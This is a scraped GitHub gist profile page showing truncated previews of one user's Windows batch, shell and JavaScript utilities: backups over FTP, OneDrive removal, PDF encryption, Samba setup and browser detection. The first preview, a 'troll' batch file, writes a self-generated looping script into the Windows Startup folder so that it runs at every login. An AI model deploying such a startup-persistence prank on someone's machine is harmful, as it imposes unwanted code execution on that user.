Skip to content

Instantly share code, notes, and snippets.

Albirew

View GitHub Profile
@Albirew
Albirew / YOLO.bat
Last active Oct 20, 2016
evolution of a "harmless" troll batch file (see revisions)
View YOLO.bat
@echo off
:: YOLO v4 - ARMAGETROLL
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
View crypter PDF (drag&Drop).bat
@echo off
:: permet de crypter un fichier pdf avec pdftk simplement en lachant le fichier pdf sur ce bat.
:: vous aurez besoin de PDFTK(1): http://www.accesspdf.com/pdftk/ (1.12 à la date de ce batch)
:: utile pour faire chier les administrations en bloquant le copier-coller et en permettant que l'impression
:: si vous voulez placer ce fichier en dehors du dossier de pdftk, veuillez remplacer %~dp0 dans la ligne suivante
set pdftk=%~dp0
:: ensuite, votre mot de passe pour crypter votre PDF
set pwd=Putain de mot de passe en or massif 24 carats serti de diamants!
@Albirew
Albirew / win10 delete OneDrive.bat
Last active Mar 4, 2017
Windows 10 debloating set
View win10 delete OneDrive.bat
@echo off
:: OneDrive removal tool for windows 10
:: edited version of: http://wayback.archive.org/web/20150811115546/http://secondclock.net/?p=28
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º OneDrive remover º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
pause
color 0e
@Albirew
Albirew / backup-bdd.sh
Last active Apr 21, 2016
script de sauvegarde SQL via ftp
View backup-bdd.sh
#!/bin/sh
#Backup des fichiers du serveur
#NÉCESSITE LFTP SUR VOTRE SERVEUR (apt install lftp)
#Définitions des variables
#date du jour au format année mois jour pour lister les fichiers naturellement par date
datejour=$(date +%Y%m%d)
localpath=~/backup/BDD
#variables pour le serveur FTP (et sinon, rsync?)
remoteserver="serveur-backup.domaine.fr 21"
@Albirew
Albirew / backup-fichiers.sh
Created Apr 21, 2016
script de sauvegarde de fichiers via ftp
View backup-fichiers.sh
#!/bin/sh
#Backup des fichiers du serveur
#NÉCESSITE LFTP SUR VOTRE SERVEUR (apt install lftp)
#Définitions des variables
#date du jour au format année mois jour pour lister les fichiers naturellement par date
datejour=$(date +%Y%m%d)
localpath=~/backup/FICHIERS
#variables pour le serveur FTP (c'est quand qu'on passe sur rsync, déjà?)
remoteserver="serveur-backup.domaine.fr 21"
View keybase.md

Keybase proof

I hereby claim:

  • I am albirew on github.
  • I am albirew (https://keybase.io/albirew) on keybase.
  • I have a public key ASDoFxRYVR261WeLMAzUfRxGSRdoDnPYfC_ShEQeu_plxwo

To claim this, I am signing this object:

@Albirew
Albirew / sambaUsers.bat
Created Feb 21, 2016
prepare script and configuration for your linux samba server from some windows computer
View sambaUsers.bat
@echo off
:: sambaUsers - prepare script and configuration for your linux samba server from some windows computer
:: Release history:
:: V1 - initial release
:: usersFolder is the mounted smb share where user folders will be created
set usersFolder=Z:\users
:: userlist contains list of users to be created, each line must contains only user:pass
set userList=%usersFolder%\userlist.txt
:: sambaPath is server-side internal path where users folder will be located
@Albirew
Albirew / WebDavVista+.bat
Created Jan 12, 2016
Allow Basic Authentication with Windows 7 and Windows Vista WebDAV Client
View WebDavVista+.bat
@echo off
:: Allow Windows explorer on Vista and up to use basic auth (for use with 1&1 webdav for example: https://help.1and1.com/hosting-c37630/webspace-and-access-c85098/webdav-c40014/establish-a-webdav-connection-to-your-linux-package-a781732.html )
:: Difference with 1&1 script is that it automatically restart the webclient service for changes to be applied immediately.
echo Windows Registry Editor Version 5.00 >"%Temp%\WebDavBasicAuthLevel.reg"
echo. >>"%Temp%\WebDavBasicAuthLevel.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WebClient\Parameters] >>"%Temp%\WebDavBasicAuthLevel.reg"
echo "BasicAuthLevel"=dword:00000002 >>"%Temp%\WebDavBasicAuthLevel.reg"
"%windir%\regedit.exe" /s "%Temp%\WebDavBasicAuthLevel.reg"
net stop webclient
del "%temp%\WebDavBasicAuthLevel.reg"
@Albirew
Albirew / arch.js
Created Jan 12, 2016
Un vieux JS pour executer une action selon l'architecture de l'utilisateur (un exemple d'usage sur: http://albirew.fr/nddyn/ )
View arch.js
/*JavaScript action based on Arch*/
if (navigator.userAgent.indexOf('MSIE') != -1 ){document.write('<span style="color:red; font-weight: bold;">Internet ExplHORREUR!</span>');}
else if (navigator.userAgent.indexOf('Trident') != -1 ){document.write('<span style="color:red; font-weight: bold;">Internet ExplHORREUR!</span>');}
else if (navigator.userAgent.indexOf('Win64') != -1 ){document.write('<span style="color:green; font-weight: bold;">x64 browser on x64 Windows</span>');}
else if (navigator.userAgent.indexOf('WOW64') != -1 ){document.write('<span style="color:red; font-weight: bold;">x86 browser on x64 Windows</span>');}
else if (navigator.userAgent.indexOf('i686 on x86_64') != -1 ){document.write('<span style="color:red; font-weight: bold;">x86 browser on x64 Linux</span>');}
else if (navigator.userAgent.indexOf('x86_64') != -1 ){document.write('<span style="color:green; font-weight: bold;">x64 browser on x64 Linux</span>');}
else {document.write('... . . . something!');}</script>
@Albirew
Albirew / ratio.js
Created Jan 12, 2016
Un vieux JS pour rediriger l'utilisateur selon sa résolution (surtout pour différencier les smartphones)
View ratio.js
/*JavaScript Redirection based on Ratio*/
var s = (screen.height/screen.width)
if (s==.75)
window.location.replace("/lol?somevars=4-3") // 4:3
else if (s==.625)
window.location.replace("/lol?somevars=8-5") // 8:5 (16:10)
else if (s==.5625)
window.location.replace("/lol?somevars=16-9") // 16:9
else if (s==.5294117647058824)
window.location.replace("/lol?somevars=17-9") // 17:9
You can’t perform that action at this time.